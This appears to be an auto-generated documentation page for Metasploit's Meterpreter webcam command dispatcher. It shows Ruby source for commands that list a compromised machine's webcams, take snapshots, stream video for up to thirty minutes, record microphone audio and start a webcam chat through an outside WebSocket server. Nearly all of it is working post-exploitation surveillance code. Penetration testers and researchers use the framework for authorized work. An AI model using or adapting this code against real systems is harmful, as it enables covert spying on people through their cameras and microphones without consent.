class Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Webcam

Webcam - Capture video from the remote system

Constants

Klass

Public Instance Methods

cmd_record_mic(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 293
def cmd_record_mic(*args)
  path    = Rex::Text.rand_text_alpha(8) + ".wav"
  play    = true
  duration   = 1

  record_mic_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-d" => [ true, "Number of seconds to record (Default: 1)" ],
    "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
    "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
  )

  record_mic_opts.parse( args ) { | opt, idx, val |
    case opt
      when "-h"
        print_line( "Usage: record_mic [options]\n" )
        print_line( "Records audio from the default microphone." )
        print_line( record_mic_opts.usage )
        return
      when "-d"
        duration = val.to_i
      when "-f"
        path = val
      when "-p"
        play = false if ( val =~ /^(f|n|0)/i )
    end
  }

  print_status("Starting...")
  data = client.webcam.record_mic(duration)
  print_status("Stopped")

  if( data )
    ::File.open( path, 'wb' ) do |fd|
      fd.write( data )
    end
    path = ::File.expand_path( path )
    print_line( "Audio saved to: #{path}" )
    Rex::Compat.play_sound( path ) if play
  end
  return true
end
cmd_webcam_chat(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 133
def cmd_webcam_chat(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  server = 'wsnodejs.jit.su:80'

  webcam_chat_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help banner"],
    "-s" => [ false, "WebSocket server" ]
  )

  webcam_chat_opts.parse( args ) { | opt, idx, val |
    case opt
      when "-h"
        print_line( "Usage: webcam_chat [options]\n" )
        print_line( "Starts a video conversation with your target." )
        print_line( "Browser Requirements:")
        print_line( "Chrome: version 23 or newer" )
        print_line( "Firefox: version 22 or newer" )
        print_line( webcam_chat_opts.usage )
        return
      when "-s"
        server = val.to_s
    end
  }


  begin
    print_status("Webcam chat session initialized.")
    client.webcam.webcam_chat(server)
  rescue RuntimeError => e 
    print_error(e.message)
  end
end
cmd_webcam_list() click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 59
def cmd_webcam_list
  begin
    client.webcam.webcam_list.each_with_index { |name, indx|
      print_line("#{indx + 1}: #{name}")
    }
    return true
  rescue
    print_error("No webcams were found")
    return false
  end
end
cmd_webcam_snap(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 71
def cmd_webcam_snap(*args)
  path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
  quality = 50
  view    = true
  index   = 1
  wc_list = []

  webcam_snap_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
    "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
    "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
    "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
  )

  webcam_snap_opts.parse( args ) { | opt, idx, val |
    case opt
      when "-h"
        print_line( "Usage: webcam_snap [options]\n" )
        print_line( "Grab a frame from the specified webcam." )
        print_line( webcam_snap_opts.usage )
        return
      when "-i"
        index = val.to_i
      when "-q"
        quality = val.to_i
      when "-p"
        path = val
      when "-v"
        view = false if ( val =~ /^(f|n|0)/i )
    end
  }
  begin
    wc_list << client.webcam.webcam_list
  rescue
  end
  if wc_list.length > 0
    begin
      print_status("Starting...")
      client.webcam.webcam_start(index)
      data = client.webcam.webcam_get_frame(quality)
      print_good("Got frame")
    ensure
      client.webcam.webcam_stop
      print_status("Stopped")
    end

    if( data )
      ::File.open( path, 'wb' ) do |fd|
        fd.write( data )
      end
      path = ::File.expand_path( path )
      print_line( "Webcam shot saved to: #{path}" )
      Rex::Compat.open_file( path ) if view
    end
    return true
  else
    print_error("No webcams where found")
    return false
  end
end
cmd_webcam_stream(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 170
  def cmd_webcam_stream(*args)
    print_status("Starting...")
    stream_path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
    player_path = Rex::Text.rand_text_alpha(8) + ".html"
    duration = 1800
    quality  = 50
    view     = true
    index    = 1
    wc_list  = []

    webcam_snap_opts = Rex::Parser::Arguments.new(
      "-h" => [ false, "Help Banner" ],
      "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
      "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
      "-q" => [ true, "The stream quality (Default: '#{quality}')" ],
      "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
      "-t" => [ true, "The stream player path (Default: #{player_path})"],
      "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
    )

    webcam_snap_opts.parse( args ) { | opt, idx, val |
      case opt
        when "-h"
          print_line( "Usage: webcam_stream [options]\n" )
          print_line( "Stream from the specified webcam." )
          print_line( webcam_snap_opts.usage )
          return
        when "-d"
          duration = val.to_i
        when "-i"
          index = val.to_i
        when "-q"
          quality = val.to_i
        when "-s"
          stream_path = val
        when "-t"
          player_path = val
        when "-v"
          view = false if ( val =~ /^(f|n|0)/i )
      end
    }

    print_status("Preparing player...")
    html = %Q|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
<script language="javascript">
function updateStatus(msg) {
  var status = document.getElementById("status");
  status.innerText = msg;
}

function noImage() {
  document.getElementById("streamer").style = "display:none";
  updateStatus("Waiting");
}

var i = 0;
function updateFrame() {
  var img = document.getElementById("streamer");
  img.src = "#{stream_path}#" + i;
  img.style = "display:";
  updateStatus("Playing");
  i++;
}

setInterval(function() {
  updateFrame();
},25);

</script>
</head>
<body>
<noscript>
  <h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
</noscript>
<pre>
Target IP  : #{client.sock.peerhost}
Start time : #{Time.now}
Status     : <span id="status"></span>
</pre>
<br>
<img onerror="noImage()" id="streamer">
<br><br>
<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
</body>
</html>
    |

    ::File.open(player_path, 'wb') do |f|
      f.write(html)
    end
    if view
      print_status("Opening player at: #{player_path}")
      Rex::Compat.open_file(player_path) 
    else
      print_status("Please open the player manually with a browser: #{player_path}")
    end

    print_status("Streaming...")
    begin
      client.webcam.webcam_start(index)
      ::Timeout.timeout(duration) {
        while client do
          data = client.webcam.webcam_get_frame(quality)
          if data
            ::File.open(stream_path, 'wb') do |f|
             f.write(data)
            end
            data = nil
          end
        end
      }
    rescue ::Timeout::Error
    ensure
      client.webcam.webcam_stop
    end

    print_status("Stopped")
  end
commands() click to toggle source

List of supported commands.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 22
def commands
  all = {
    "webcam_chat"   => "Start a video chat",
    "webcam_list"   => "List webcams",
    "webcam_snap"   => "Take a snapshot from the specified webcam",
    "webcam_stream" => "Play a video stream from the specified webcam",
    "record_mic"    => "Record audio from the default microphone for X seconds"
  }
  reqs = {
    "webcam_chat"   => [ "webcam_list" ],
    "webcam_list"   => [ "webcam_list" ],
    "webcam_snap"   => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
    "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
    "record_mic"    => [ "webcam_audio_record" ],
  }

  all.delete_if do |cmd, desc|
    del = false
    reqs[cmd].each do |req|
      next if client.commands.include? req
      del = true
      break
    end

    del
  end

  all
end
name() click to toggle source

Name for this dispatcher

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb, line 55
def name
  "Stdapi: Webcam"
end